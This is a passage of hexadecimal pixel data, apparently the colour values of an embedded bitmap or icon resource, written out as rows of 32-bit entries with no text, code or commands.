C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFBFBF\n      BFFFC0C0BFFFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFBFBFBFFFBFBFBFFFBFBFBFFFFFFFFFFF448C68FF43C37BFF43BF79FF43BE\n      7AFF45BD71FF27D5EAFF1EDCFFFF1FDCFFFF1FDCFFFF1EE4FFFF2782FEFF3010\n      EEFF2E1AEFFF2E19F0FF2F19F6FF554E97FFB7B7BDFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF2008EEFF341DF0FF341DF0FF341D\n      F0FF341DF1FF331CF0FF341DF7FF565097FF8A807BFFD9B18FFFD0742AFFBF59\n      06FFBC5D0EFFBF6215FFC06619FFC0661AFFC0661AFFC0661AFFC0661AFFC066\n      1AFFC0651BFFC1651AFFC56818FF876950FF754C3AFF9B4D2DFFBE8E76FFD3B0\n      A1FFCFA99AFF974B2BFF924222FFFDF4F1FFFFFFFFFF91411FFF9A5031FF984D\n      2DFFBD8C76FFD4B0A2FFD4AD9BFF755E55FF468F56FF42BA55FF42B857FF43B8\n      58FF45B64CFF29CED8FF20D5FFFF22D4FDFF22D4FDFF21DDFEFF2980EDFF3113\n      DAFF301DDCFF301BDCFF2F19E2FF544E98FFBBBBC0FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF220ADAFF3620DDFF3620DDFF3620\n      DDFF3520DDFF341EDDFF331CE3FF564E98FF8E5021FF8F5F44FF8DB1DDFFBAD6\n      F5FFE9BF9BFFC5773DFFA64701FFA74D09FFAA5210FFAC5716FFAD5818FFAD58\n      18FFAD5717FFAD5716FFB05614FF86644DFF764938FFA7684EFFFFFFFFFFD5BA\n      AFFFCAA899FF924A2BFF8C401FFFF3ECEAFFFFFFFFFF8B3D1DFF934C2DFFA567\n      4DFFFFFFFFFFD5BAB0FFCDA899FF775F54FF468F45FF40BA3BFF43B83CFF44B9\n      3EFF46B630FF2ACED2FF21D4FFFF23D4FBFF23D4FBFF22DCFDFF2A7DEBFF3214\n      D4FF311DD6FF301CD7FF2D19DBFF554E92FFB9B9BCFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF210BD4FF3621D7FF3621D7FF3621\n      D7FF3620D7FF341FD8FF331CDCFF575093FF834C28FFA64A0AFFA74400FF8351\n      37FF4984C3FF8CD4FFFFF8FFFFFFF1C9ADFFC38354FF9D4104FF9C3F02FF9F46\n      0AFFA24C10FFA24B12FFA54C0EFF80604CFF774C38FF914526FF964F31FFDCC5\n      BAFFD7BEB1FF8F4423FF8C3F1FFFF3ECE7FFFFFFFFFF8A3C1BFF954E2EFF9147\n      29FF964F30FFDAC3B9FFDCC0B4FF755B4FFF458E34FF40BA25FF43B826FF42B7\n      28FF46B71AFF2ACCCDFF21D4FFFF23D4FCFF23D4FCFF21DCFDFF2A7DE7FF3114\n      D0FF311DD2FF2E1BD1FF2E18D7FF554E8FFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF210BCEFF3621D3FF3520D3FF3621\n      D3FF3420D3FF341ED2FF311BD9FF584F8FFF7A4625FF9D420BFF9A430FFF9D42\n      0AFFA43D00FF7D482EFF2067B1FF41A9FFFFC3EBFFFFFFFFFFFFF2D8C6FFC58F\n      6BFF9C4611FF903200FF983900FF795B48FF774A37FF934625FFA4664DFFCCAA\n      9CFF92482AFF944B2CFF8C3E1CFFF3EBE8FFFFFFFFFF8A3B1AFF954D2DFF9248\n      2AFFA4664CFFCCAA9CFF944827FF775D53FF458E2FFF40B91CFF41B71DFF42B9\n      1FFF46B60FFF2ACECBFF21D4FFFF23D4FCFF23D4FCFF21DCFDFF2A7DE7FF3114\n      CEFF311DD0FF2F1BCFFF2C18D6FF554E8DFFB8B8B8FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF220CCCFF3722D1FF3722D1FF3621\n      D1FF3520D1FF341ED0FF321BD7FF584F8EFF784525FF983F09FF973E0CFF963B\n      07FFA05123FF9A3E07FFA43D00FF834729FF1F65ABFF0183F4FF81C2FBFFFEFF\n      FFFFFFFFFFFFF8E8DFFFCE9F84FF7E6455FF703F2AFF8F401DFFB68771FFC198\n      86FF8B3C1CFF893918FF802B09FFF1E8E4FFFFFFFFFF7D2906FF893918FF8E41\n      21FFB68770FFC19786FF8D3A17FF73584DFF468E2FFF46BC20FF43B81FFF43B8\n      20FF47B611FF2ACECBFF21D4FFFF23D4FCFF23D4FCFF21DCFDFF2A7DE7FF3114\n      CEFF311DD1FF2F1BD1FF2C18D6FF554E8DFFB8B8B8FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF220CCCFF3722D2FF3722D2FF3621\n      D2FF3520D2FF341ED2FF321BD7FF584F8EFF7A4524FF9C440BFF983F0AFFA65C\n      31FFB67856FF9C4716FF994211FF9C410BFFA53C00FF8B4826FF2868A8FF0073\n      F1FF3E9BEBFFBDDDFAFFFFFFFFFFA5A5A5FFBBBCBBFFFFFFFFFFFCFAF9FFFBF9\n      F9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFCFBFBFFFCF9F8FFFFFFFFFF9E9E9EFF468F30FF49BE23FF4ABC26FF49BB\n      24FF47B612FF29CDCBFF21D4FFFF23D4FCFF23D4FCFF21DCFDFF2A7DE7FF3114\n      CEFF311DD1FF2F1BD1FF2C18D6FF554E8DFFB8B8B8FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF220CCCFF3722D2FF3722D2FF3621\n      D2FF3520D2FF341ED2FF321BD7FF584F8EFF7A4525FF9D4309FFA95F31FFE4CD\n      C2FFFAF6F5FFD7B7A5FF9C4716FF983E0BFF9A4310FF9C410BFFA53C00FF8E48\n      22FF2F68A4FF0076F2FF057CEBFF6E8498FFB4B0B0FFF8F3F0FFF2EAE6FFF1E8\n      E4FFF0E7E3FFF5EEECFFF4ECEAFFFEFEFDFFFEFFFFFFF4ECEAFFF5EFEDFFF5EE\n      EDFFF2E8E4FFEFE6E2FFF7EEEAFF9B9998FF4A9031FF4CC027FF4EBE29FF4FBE\n      2BFF52BC1DFF31D1CDFF24D5FFFF21D3FCFF21D3FCFF21DBFDFF287DE6FF3013\n      CEFF2F1BD0FF2D19CEFF2C18D5FF564E8DFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF210BCBFF3520D1FF3520D1FF341F\n      D1FF331ED1FF321CCFFF321BD6FF584F8EFF7B4726FFAC5E2AFFC79877FFFFFF\n      FFFFFFFFFFFFFBF7F5FFB87A57FFA05022FF98400DFF98410FFF99410FFF9A3F\n      0AFFA33A00FF8E431BFF3369A5FF47709BFF72432EFF944725FFB88970FFC8A3\n      92FFC7A191FF8D3E1EFF86310FFFF1E9E4FFFFFFFFFF7D2A07FF8A3B1AFF8B3C\n      1CFFB28068FFC39C8BFFC69B88FF73584AFF4A9132FF50C128FF51BE2CFF52C0\n      2DFF55BE1FFF38D3CEFF31D8FFFF32D8FCFF2FD8FCFF2EDEFDFF3486E9FF3B1E\n      D1FF3C27D5FF3C26D5FF3E26DBFF564F8FFFBBBBBBFFF8F7FFFFF9F8FDFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3218D2FF422CD5FF412BD5FF412A\n      D5FF412AD5FF412BD6FF4229DCFF58508FFF7B4825FFA2490AFFB7774DFFF2E8\n      E3FFFFFFFFFFE5CEC2FFB06939FFA14D11FFA25016FFA14E15FFA14D15FFA04D\n      15FFA14D14FFA34E0FFFB04C01FF795D4BFF784B38FFAC6E51FFFFFFFFFFDDC7\n      BCFFCEAD9EFF9D5635FF974C2BFFF4EDEAFFFFFFFFFF944826FF9A5334FFAA6C\n      50FFFFFFFFFFDCC5BBFFD2B19FFF775D51FF4A9033FF52C32BFF54C12DFF55C1\n      2FFF57BF21FF39D4CFFF30D9FFFF32D9FCFF32D9FCFF31E0FDFF3A89EAFF4323\n      D5FF412BD7FF3F29D5FF3F26DCFF564F8FFFB3B3B8FFD2D2DCFFD6D7E3FFFAF8\n      FDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF341BD2FF4730D7FF4730D7FF472F\n      D7FF462FD7FF452DD7FF442ADDFF58508EFF7C4A25FFA5510EFFA65418FFB879\n      4FFFC99A79FFAF6735FFA45116FFA45216FFA55317FFA55317FFA55317FFA553\n      16FFA55315FFA45113FFA8520FFF7A5C48FF794E3BFF9F5534FFA15F3FFFDBC2\n      B7FFD9BEB2FF9C5332FF994E2DFFF4ECEAFFFFFFFFFF974D2BFFA15C3DFF9D57\n      37FFA15D3FFFDAC3B6FFDFC3B5FF755B4FFF499032FF53C428FF53C02BFF54C2\n      2BFF57C01EFF37D4CEFF2FDBFFFF30DAFCFF30DAFCFF2FE2FEFF3688EAFF401F\n      D5FF4027D7FF3F25D7FF4024DEFF554E8DFFA8A7B0FFBDC0C6FFC7C7CFFFEFED\n      F7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3418D4FF462CD8FF462CD8FF462D\n      D8FF452BD8FF4329D8FF4428DFFF57508DFF7C4823FFA7510BFFA4500CFFA34D\n      0AFFAE642BFFA44F0CFFA55210FFA55211FFA55211FFA55211FFA55211FFA552\n      11FFA65210FFA4510EFFA9520AFF785B47FF784E3AFFA35B3AFFAE7358FFD4B5\n      A6FFA05A39FF9F5A3AFF984E2BFFF5EFEAFFFFFFFFFF984C29FFA05B3AFFA15C\n      3CFFAE7356FFD3B4A5FFA55C39FF785D52FF50973CFF6BCD49FF68CB47FF69CA\n      48FF6CC93AFF50DBD7FF49E0FFFF49E0FFFF49E0FFFF49E7FFFF5198EFFF5A3E\n      DBFF5845DDFF5844DDFF5945E1FF615B9CFFC3C3C1FFF6F4FDFFF7F7FDFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF4C35DAFF5D49DEFF5D49DEFF5D47\n      DEFF5C48DEFF5B47DEFF5D48E2FF645C9CFF834F2FFFB46A33FFB06631FFB067\n      33FFB06834FFB16733FFB16733FFB16733FFB16733FFB16733FFB16733FFB167\n      33FFB06733FFB06631FFB36932FF876855FF805442FFB2765AFFD0AE9FFFD6B8\n      ABFFAD7055FFAD6F53FFA66345FFF8F3EFFFFFFFFFFFA46043FFAD6F53FFAF72\n      59FFD0AD9EFFD6B9ABFFB17256FF856B60FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFF98B89FFFDAFFE6FFD5FFE3FFDDFF\n      F0FF74DC42FF4BCA00FF50CB01FF50CB01FF50CB01FF50CB01FF50CC01FF50CA\n      01FF50CA02FF4FCB01FF51D200FF5F8A47FF368937FF2ABA2BFF2AB82BFF2BB7\n      2CFF2BB72CFF2BB72CFF2BB72CFF2BB72CFF2BB72CFF2BB72CFF2BB72CFF2BB7\n      2CFF2BB72CFF2AB82BFF2BBC2CFF548354FFC1C1D9FFDEDFFFFFDFE0FFFFDFE0\n      FFFFDFE0FFFFDFE0FFFFDFE0FFFFDFE0FFFFDFE0FFFFDFE0FFFFDFE0FFFFDFE0\n      FFFFDFE0FFFFDFE0FFFFDEDFFFFFB4B4C4FF402BADFF3C18F6FF3C18F2FF3C18\n      F1FF3C18F3FF3C19F2FF3C19F2FF3C19F2FF3C19F2FF3C19F2FF3C19F2FF3C18\n      F3FF3C18F1FF3C18F2FF3D18F9FF5A4E98FFA7BCACFFE2FFEAFFDEFFE6FFE7FF\n      F5FF7BD048FF52BE02FF57C009FF57C009FF57C009FF57C009FF57C009FF57C0\n      09FF56C008FF56C007FF57C405FF618A46FF3A893AFF30AD30FF31AB32FF32AC\n      33FF33AC33FF33AC33FF33AC33FF33AC33FF33AC33FF33AC33FF33AC33FF33AC\n      33FF32AC33FF31AB32FF30AE31FF558355FF7779CAFF7376E9FF7478E9FF7577\n      E9FF7577E9FF7579E9FF7579E9FF7579E9FF7579E9FF7579E9FF7579E9FF7577\n      E9FF7477E9FF7478E9FF7375E9FF8385B9FF422DABFF3B19E2FF3D1ADFFF3E1B\n      DFFF3E1BDFFF3E1BDFFF3E1BDFFF3E1BDFFF3E1BDFFF3E1BDFFF3E1BDFFF3E1B\n      DFFF3E1CDFFF3D19DFFF3C18E5FF5A4E98FFAFB9B1FFF1FFF5FFEDFFF1FFF6FF\n      FFFF86CE4CFF5ABB04FF5FBE0CFF5FBE0CFF5FBE0CFF5FBE0CFF5FBE0CFF5FBE\n      0CFF5EBC0BFF5DBD08FF5FC007FF668849FF3F853CFF35A935FF37A734FF38A8\n      37FF39A836FF39A836FF39A836FF39A836FF39A836FF39A836FF39A836FF39A8\n      36FF38A835FF37A734FF36AA34FF578056FF8E8FCDFF9395EEFF9496EDFF9497\n      EDFF9597EDFF9597EDFF9597EDFF9597EDFF9597EDFF9597EDFF9597EDFF9597\n      EDFF9497EDFF9596EDFF9295EEFF9294BBFF412DA6FF3B17DFFF3C15E3FF3D16\n      E5FF3E17E5FF3E17E5FF3E17E5FF3E17E5FF3E17E4FF3E17E5FF3E17E5FF3E17\n      E5FF3D16E5FF3C15E3FF3C18E0FF5A4E94FFB6B9B7FFFDFFFEFFF9FFFAFFFFFF\n      FFFF90CD51FF60B907FF65BB0FFF65BB0FFF65BB0FFF65BB0FFF65BB0DFF65BC\n      0EFF64BA0EFF63BB0CFF64BE09FF678649FF40843DFF3BA935FF3CA736FF3DA6\n      36FF3DA638FF3DA838FF3DA838FF3DA838FF3DA838FF3DA838FF3DA838FF3DA6\n      38FF3DA637FF3BA734FF3BAB34FF5A7E58FFA9ABD1FFBFBFF4FFBEC0F4FFC0C1\n      F4FFBFC1F4FFBFC1F4FFBFC1F4FFBFC1F4FFBFC1F4FFBFC1F4FFBFC1F4FFBFC1\n      F4FFC0C1F4FFBEC0F4FFBEC0F4FFA5A5BFFF402BA2FF3C24C1FF449700FF4390\n      06FF448F07FF448F07FF448F07FF398900FF439007FF448F07FF448F07FF448F\n      07FF438F05FF439001FF3A0DEDFF5B4E90FFB9B9B9FFFFFFFFFFFEFFFEFFFFFF\n      FFFF92CC53FF63B907FF68BB0EFF68BB0EFF68BB0EFF68BB0EFF68BB0FFF68BB\n      0DFF67BB0CFF66BA0AFF67BF07FF698649FF3A25A5FF2B0BE1FF2E0FDEFF2F10\n      DEFF2F11DEFF3011DEFF3011DEFF3011DEFF3011DEFF3011DEFF3011DEFF2F11\n      DEFF2F10DEFF2D0EDEFF2B0BE4FF554993FF5963D1FF4553F7FF4756F6FF4857\n      F6FF4957F6FF4957F6FF4957F6FF4957F6FF4346E1FF4346E1FF4346E1FF4346\n      E1FF4247E1FF4044E1FF3E41E1FF7174B7FF422CA2FF3C24C0FF428B00FF4284\n      0DFF43860DFF45850EFF387B00FFC5D9B4FF6D9F43FF41830AFF45860EFF4486\n      0DFF43850BFF428707FF3A0DECFF5A4E8FFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFF93D04DFF65BF00FF69C106FF69C106FF69C106FF69C106FF69C106FF69C0\n      07FF69C005FF67C103FF68C500FF698847FF3A2C9DFF311DD4FF311CD0FF2F1D\n      D0FF321FD1FF321FD1FF321FD1FF321FD1FF321FD1FF321FD1FF321FD1FF301E\n      D1FF311DD1FF2F1BD1FF2C18D6FF554E8DFF9D4E32FFB43805FFB33708FFAE3A\n      0DFFAD3C12FFAD3D12FFAD3D12FFA72C00FFFFFFFFFFFCFDFEFFFCFDFEFFFCFD\n      FEFFFCFDFEFFFDFCFEFFFCFDFEFFBDBDC3FF432CA3FF4128C3FF448E00FF4383\n      0EFF458610FF3F8208FF84AD5FFFA4C38AFF397C01FF458610FF458610FF4486\n      0FFF43850CFF428707FF3A0DECFF5A4E8FFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFF6753EAFF2407E1FF2B0EE3FF2B0FE3FF2B0FE3FF2B0FE3FF2B0FE3FF2B0F\n      E3FF2A0EE3FF290CE3FF2709E8FF544994FF3B2F9EFF3620D5FF3823D3FF3622\n      D2FF311ED0FF301DD0FF311ED1FF321FD1FF321FD1FF321FD1FF321FD1FF301E\n      D1FF311DD1FF2F1BD1FF2C18D6FF554E8DFFAE4928FF5C938EFF678C85FF995C\n      39FFB53C09FFB73906FFB33E0BFFBB3D00FF2D3DF3FF363BDEFF363BDEFF363B\n      DEFF353ADEFF3439DEFF3134DEFF6C6EB7FF432CA3FF452BC4FF4A9401FF498A\n      11FF44840FFF3E8108FF82AD5EFFA4C38DFF387B00FF458610FF458610FF4486\n      0FFF43850CFF428707FF3A0DECFF5A4E8FFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFF7565E0FF321FD1FF3521D1FF311DD0FF301DD0FF301DD0FF301DD0FF2F1C\n      D0FF2F1BD0FF2D19CEFF2C18D5FF564E8DFF3F31A9FF3D24E8FF3F26E5FF4028\n      E5FF3F29DDFF3B27DEFF3521D5FF311DD4FF301CD3FF301CD3FF321EDCFF321E\n      D9FF321DE1FF321BE1FF311AE7FF564F94FF6E807AFF668C82FFC43C00FFB54B\n      17FF639894FF698C85FFB14415FFB03200FFCBD7FFFFCBCBF6FFCBCBF6FFCBCB\n      F6FFCBCBF6FFC9CBF5FFCACCF6FFABACC1FF452EA3FF482DC5FF4E9501FF4F8E\n      14FF4F8E15FF4B8C14FF3A7D01FFC2D6B1FF6D9F47FF40820AFF43840FFF4284\n      0EFF41840CFF408507FF3A0DECFF5A4E8FFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFF7667E1FF3924D4FF3F2BD6FF3F2CD6FF3E2AD5FF3C28D5FF3B28D3FF3B27\n      D3FF3C27D5FF3C26D5FF3E26DBFF564F8FFF232520FF0C0E00FF0F1100FF1113\n      02FF271F66FF201C3FFF3527A2FF322494FF312594FF3425A4FF18161FFF241C\n      5DFF0F1200FF0F1001FF0C0E00FF484947FF40ABBDFFB94A0FFFBE480AFF9172\n      54FF0AE3FFFF0EE0FFFF986D4DFFC04500FF8895FFFF8B8DEBFF8A8CEBFF8A8C\n      EBFF8A8DEBFF8B8DEDFF8C8EEDFF8D8FBBFF452EA3FF4B32C4FF52A200FF529B\n      03FF539A04FF539C04FF549C04FF4A9500FF4F9900FF509902FF4F9802FF4F98\n      03FF509800FF509B00FF4C1BF1FF5B4F8FFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFF7668E2FF3C25D5FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422C\n      D7FF412BD7FF3F29D5FF3F26DCFF564F8FFF252525FF101010FF131313FF1213\n      0CFF2E2282FF251E52FF322492FF462FEDFF462EE4FF291F64FF2F227CFF231C\n      4FFF13140FFF131313FF0F0F0FFF494949FF658987FF79836BFFC64301FFBA50\n      18FF57A7A9FF5FA09EFFB9511AFFC04901FF8390FFFF888AECFF888AECFF868A\n      ECFF878AECFF8588ECFF8388EBFF898CBBFF452FA0FF4D23E0FF4D20E8FF4E22\n      E9FF4F23E9FF4F23E9FF4F23E9FF4F23E9FF4F23E9FF4F23E9FF5023E9FF5023\n      E9FF4E22E8FF4E21E7FF4D25DFFF5B4E8FFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFF7766E2FF3A22D5FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028\n      D7FF4027D7FF3F25D7FF4024DEFF554E8DFF232323FF0B0B0BFF0E0E0EFF1010\n      0FFF0E1008FF2E208FFF291C74FF1C163FFF1C163EFF2F2093FF251B65FF0E0F\n      06FF101010FF0E0E0EFF0A0A0AFF474747FFAD4C27FF4BA8A8FF6B9184FFA067\n      3BFFBB4F13FFBE4D0EFFBC4F0FFFBA4400FFD8E2FFFFD7D9F9FFD7D8F9FFD7D9\n      F9FFD7D7F9FFD6D8F9FFD7D7F8FFADAEC1FF462FA1FF4D23DEFF4D25DAFF4E26\n      DAFF4F27DAFF4F27DAFF4F27DAFF4F27DAFF4F27DAFF4F27DAFF4F27DAFF4E27\n      DAFF4E26DAFF4D24DAFF4E23E1FF5A4D8EFFC0C0C0FFFFFFFFFFFFFFFFFFFFFF\n      FFFF8B7AE6FF5440DBFF5945DCFF5945DCFF5945DCFF5945DCFF5946DCFF5844\n      DCFF5845DCFF5744DCFF5945E0FF615B9CFF2F2F2FFF333333FF313131FF3333\n      33FF333332FF303126FF3D385AFF463C7AFF453B76FF373542FF313229FF3333\n      33FF333333FF313131FF323232FF555555FFA85733FFD56128FFD06129FFCC65\n      2EFFC9632EFFC7632EFFC7632EFFD0611BFF5A68FFFF6367F0FF6367F0FF6468\n      F0FF676CF2FF676BF2FF666AF2FF7274BBFF4D38A7FF6746E2FF6342E0FF6443\n      E0FF6445E0FF6444E0FF6444E0FF6444E0FF6444E0FF6444E0FF6444E0FF6445\n      E0FF6443E0FF6343E0FF6644E4FF675B9DFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFC0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      